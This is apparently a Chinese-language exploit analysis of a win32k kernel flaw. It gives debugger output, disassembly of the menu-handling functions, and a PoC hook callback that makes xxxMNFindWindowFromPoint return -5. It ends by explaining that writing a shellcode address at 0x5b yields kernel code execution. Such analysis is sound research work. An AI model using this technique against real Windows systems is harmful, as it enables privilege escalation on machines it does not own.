直接跑一波poc
kd> r
eax=fffffe0d ebx=000001ed ecx=927020e4 edx=91bd3b78 esi=fffffffb edi=fd2c4640
eip=925a93fa esp=91bd3a3c ebp=91bd3a64 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
win32k!xxxSendMessageTimeout+0xb3:
925a93fa 3b7e08 cmp edi,dword ptr [esi+8] ds:0023:00000003=????????
kd> kb
# ChildEBP RetAddr Args to Child
00 942f9a64 925a95c5 fffffffb 000001ed 002ef85c win32k!xxxSendMessageTimeout+0xb3
01 942f9a8c 926292fb fffffffb 000001ed 002ef85c win32k!xxxSendMessage+0x28
02 942f9aec 92628c1f 942f9b0c 00000000 002ef85c win32k!xxxHandleMenuMessages+0x582
03 942f9b38 9262f8f1 fd2e6bf0 9270f580 00000000 win32k!xxxMNLoop+0x2c6
04 942f9ba0 9262f9dc 0000001c 00000000 00000000 win32k!xxxTrackPopupMenuEx+0x5cd
05 942f9c14 83e591ea 0015018b 00000000 00000000 win32k!NtUserTrackPopupMenuEx+0xc3
06 942f9c14 773570b4 0015018b 00000000 00000000 nt!KiFastCallEntry+0x12a
显然这里的esi是不合法的,因此我们需要找到它是如何产生的。向上可以追溯到一个基本块中
.text:BF938DF5 mov esi, [ebp+arg_4]
.text:BF938DF8 or dword ptr [esi+10h], 0FFFFFFFFh
.text:BF938DFC movsx eax, bx
.text:BF938DFF mov [esi+8], eax
.text:BF938E02 mov eax, ebx
.text:BF938E04 shr eax, 10h
.text:BF938E07 cwde
.text:BF938E08 mov [esi+0Ch], eax
.text:BF938E0B push ebx ; int
.text:BF938E0C lea eax, [ebp+UnicodeString]
.text:BF938E0F push eax ; int
.text:BF938E10 push edi ; UnicodeString
.text:BF938E11 call _xxxMNFindWindowFromPoint@12 ; 返回指针
.text:BF938E16 mov ebx, eax
.text:BF938E18 push ebx
.text:BF938E19 call _IsMFMWFPWindow@4 ; IsMFMWFPWindow(x)
.text:BF938E1E mov [ebp+arg_4], eax
.text:BF938E21 test eax, eax
.text:BF938E23 jz short loc_BF938E43
xxxMNFindWindowFromPoint返回的就是之后的值,在这个基本块之后,还将该返回值与0,-1,-5做了比较,可以推测负数可能是错误码,继续深入看xxxMNFindWindowFromPoint内部是如何产生返回值的,这里通过调试找到返回-5的执行路径
.text:BF9395B9 mov ecx, _gptiCurrent
.text:BF9395BF add ecx, 0B4h
.text:BF9395C5 mov edx, [ecx]
.text:BF9395C7 mov [ebp+var_18], edx
.text:BF9395CA lea edx, [ebp+var_18]
.text:BF9395CD mov [ecx], edx
.text:BF9395CF mov [ebp+var_14], eax
.text:BF9395D2 inc dword ptr [eax+4]
.text:BF9395D5 mov eax, [ebp+arg_8]
.text:BF9395D8 movzx ecx, word ptr [ebp+arg_8]
.text:BF9395DC shr eax, 10h
.text:BF9395DF shl eax, 10h
.text:BF9395E2 or eax, ecx
.text:BF9395E4 push eax ; Src
.text:BF9395E5 lea eax, [ebp+UnicodeString]
.text:BF9395E8 push eax ; UnicodeString
.text:BF9395E9 push 1EBh ; MbString
.text:BF9395EE push dword ptr [edi+0Ch] ; P
.text:BF9395F1 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF9395F6 mov esi, eax
.text:BF9395F8 call _ThreadUnlock1@0 ; ThreadUnlock1()
.text:BF9395FD push esi
.text:BF9395FE call _IsMFMWFPWindow@4 ; IsMFMWFPWindow(x)
.text:BF939603 test eax, eax
.text:BF939605 jz short loc_BF939612
从这条执行路径来看,xxxMNFindWindowFromPoint的返回值就是xxxSendMessage的返回值,即此处xxxSendMessage返回0xfffffffb,可以注意到的是,这里的xxxSendMessage发送的消息代码为0x1EB,这正是我们poc中hook的消息代码
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
printf("[+] Callback one called.\n");
if (*(DWORD*)(lParam + 8) == 0x1EB) {
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
SetWindowLongA(*(HWND*)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}
所以在此处控制流会被我们的ring3代码劫持,转而调用HookCallbackTwo,它会调用EndMenu来终止一个Menu,这导致了xxxSendMessage失败并返回0xfffffffb。
给出的poc离最终利用已经很接近了,在xxxSendMessageTimeout中有如下基本块
.text:BF8B94E8 loc_BF8B94E8:
.text:BF8B94E8 push [ebp+Src]
.text:BF8B94EB push dword ptr [ebp+UnicodeString]
.text:BF8B94EE push ebx
.text:BF8B94EF push esi
.text:BF8B94F0 call dword ptr [esi+60h]
.text:BF8B94F3 mov ecx, [ebp+arg_18]
.text:BF8B94F6 test ecx, ecx
.text:BF8B94F8 jz loc_BF8B9591
其中调用了esi+0x60,而esi为-5时,这里为0x5b,所以这里本质上转换为了空指针异常,将shellcode地址写入0x5b地址处即可实现利用。